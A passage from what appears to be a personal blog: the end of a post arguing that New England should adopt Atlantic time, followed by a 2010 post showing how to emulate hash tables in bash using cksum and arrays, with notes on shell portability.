punditry on election night. Moving New England ahead of the rest of the east would garner more of the spotlight. Practical advantages are quite numerous: it further "distances" the region from New York City, the other powerhouse in the neighborhood, granting more independence and more of an attraction. The increased safety can't be ignored. The two transition periods would vanish, alleviating the injuries, sleep complications , and other health risks they cause. The extra exposure to the sun is good for vitamin D synthesis in the skin without much increased risk of skin cancer thanks to the northern longitude of the region. Old devices that aren't compatible with the recent Daylight Saving expansion will work again (since you can just change the time and disable it or and put yourself in the Atlantic time zone along with San Juan, Puerto Rico), and future revisions to the timing will not affect the region. Since the start and end times of DST cannot be altered except at the federal level, moving to permanent Daylight Saving Time would require a change in time zones and abolishment of DST. The policy for changing time zones requires a governor and/or state legislature to make the request, with an argument showing benefits for "convenience of commerce," which is "defined broadly to consider such circumstances as the shipment of goods within the community; the origin of television and radio broadcasts; the areas where most residents work, attend school, worship, or receive health care; the location of airports, railway, and bus stations; and the major elements of the community’s economy." The request is then reviewed by the US Department of Transportation, and pending approval of those minimum requirements, then grants a public hearing. With the case made, the Secretary of Transportation makes the call and the change would go into effect with the next (and final) DST transition. Even discounting the health reasons (which should be argument enough alone; Kazakhstan abolished daylight saving for this reason) because they aren't directly addressed by the "convenience of commerce" points, this should be an easy argument as every angle is covered: Shipping goods an hour earlier makes delivery schedules simpler as the nation-wide work window is larger. Broadcasts, like movie premiers, would attract business from across the newly formed time zone line. Workplace and commuting safety would see improvements and overall health stands to gain from the sunlight. Like shipping companies, transportation hubs would benefit from the extra hour to arrange their fleets. Retail and sports-related businesses would have more daylight hours to attract customers and farms would gain a more stable schedule. While indoor entertainment venues might lose business to the outdoor scene on the area's uncommon sunny days (complaining that potential customers are playing outside seems rather trite anyway), they would benefit from increased attention for premiers and releases.

Hash tables in bash

2010-03-03T00:25:34-05:00

This might be confusing because I just wrote an article on using the MD5 hash summary algorithm in JavaScript , but I'd like to address another use of the word hash (sorry, you can't smoke this one either), relating to lookup tables that can make code significantly easier to develop. Bash (a shell scripting language I try to stay away from in favor of more conservative POSIX shell code) is really good with arrays, but a loop is still needed in most cases while a dynamic lookup table based on keys (like the hash type in perl) would alleviate that need. It occurred to me not too long ago that facilitating this in Bash wasn't actually that hard. A hash table is a data structure enabling easy lookups and simple code. It's like an array with user-friendly indexes rather than numerical indexes that don't really have any meaning whatsoever. Perl has them, as do many other scripting languages. POSIX shell ( Bourne shell , /bin/sh) does not, so it's not surprising that its derivative Bash doesn't have it either, though it does have a lot of other things, including arrays . It turns out you can implement hash tables in Bash by using cksum and bash array variables, and they behave perfectly. Don't forget that POSIX shells already have a " hash " function which maintains a hash table for locations of commands. Hackers can neither use anything from that data structure nor the word "hash" since it is reserved. So as to choose something short, I've gone with ht() , though an earlier draft of this actually used the percent symbol (as a tribute to perl, though this is only compatible with some versions of bash). # Here's the hashing function ht() { local ht=`echo "$*" |cksum`; echo "${ht//[!0-9]}"; } # Example: myhash[`ht foo bar`]="a value" myhash[`ht baz baf`]="b value" echo ${myhash[`ht baz baf`]} # "b value" echo ${myhash[@]} # "a value b value" though perhaps reversed In Perl, this would look like: my %myhash = (); $myhash{"foo bar"} = "a value"; $myhash{"baz baf"} = "b value"; print "$myhash{'baz baf'}\n"; foreach (keys %myhash) { print "$_ "; } It should be noted that because we're using a (pseudo-) cryptographic hashing algorithm, we cannot retrieve the key names (perl has no such limitation). In fact, I'm not even sure how to retrive the hashes for them. The standard bash array handlers work fine, including "${myhash[@]}" for the list of its contents (with each element in quotes), "${myhash[*]}" for the space-delimited list of its contents all in one set of quotes, and ${#myhash[@]} for the number of elements, but you cannot refer to elements by number since they're quite nonsequential; `ht foo bar` returns "30953423178" for example. Not that that should be a problem; since the order is shuffled anyway, there's no point in bringing up array elements by their actual index. If you really wanted to, the method to get the final array element, which is typically as simple as length=${#myhash[@]}; echo ${myhash[$((length-1))]} , could be implemented as: for last in "${myhash[@]}"; do true; done; echo $last and this similar workaround would get the first value: for first in "${myhash[@]}"; do break; done; echo $first This has been tested with bash 2.05b.0 (Freebsd 4.7) and bash 3.00.14 (Fedora 3) and bash 4.0.28 (Debian Squeeze). As a reminder, POSIX shell does not support arrays of any type and other enhanced shells (e.g. zsh , my current shell of choice) have their own ways of handling arrays that are not at all compatible. A reminder: Bash scripts should be invoked via /bin/bash and not /bin/sh (doing so creates bugs often called bashisms ). In many Linux distributions (especially older ones), this was a reasonably fair assumption, but most systems (including all UNIXes) use something more basic. Solaris uses jsh , which is their own job-control shell and has many inconsistencies (e.g. it lacks arithmetic expressions and variable substitution, contrary to the POSIX shell standard) so you must find and use the XPG4 shell at /usr/xpg4/bin/sh for real work (though many people just default to using /bin/ksh as it's up to the challenge). BSD systems use the Almquist Shell (ash) and Linux systems like Debian are increasingly moving to Debian's port of ash (dash) since it's faster than bash . Bash programming guides I've found useful over the years include Bourne shell idioms and The Definitive Guide to Bash Command Line History , and the rest I've learned from the man pages. The man page for dash is actually quite informative and useful even if you're using a different ~Bourne-compatible shell; its simplicity makes it succinct and hard to get lost. I also like to search the bash/dash/zshbuiltin man pages with queries like hash.*\[ in order to find the hash function definition rather than some random other use of it as an English word or some reference to it. In bash, you can also simply run help hash (which I've found useful enough to put help() { bash -c "help $@"; } in a zsh rc file). As to the radically different C Shell (csh) and its derivative Tenex C Shell (tcsh), you should avoid scripting in csh or tcsh as much as possible (example: my SSH trick - shortcut for proxying into a network requires an extra step for csh and tcsh users).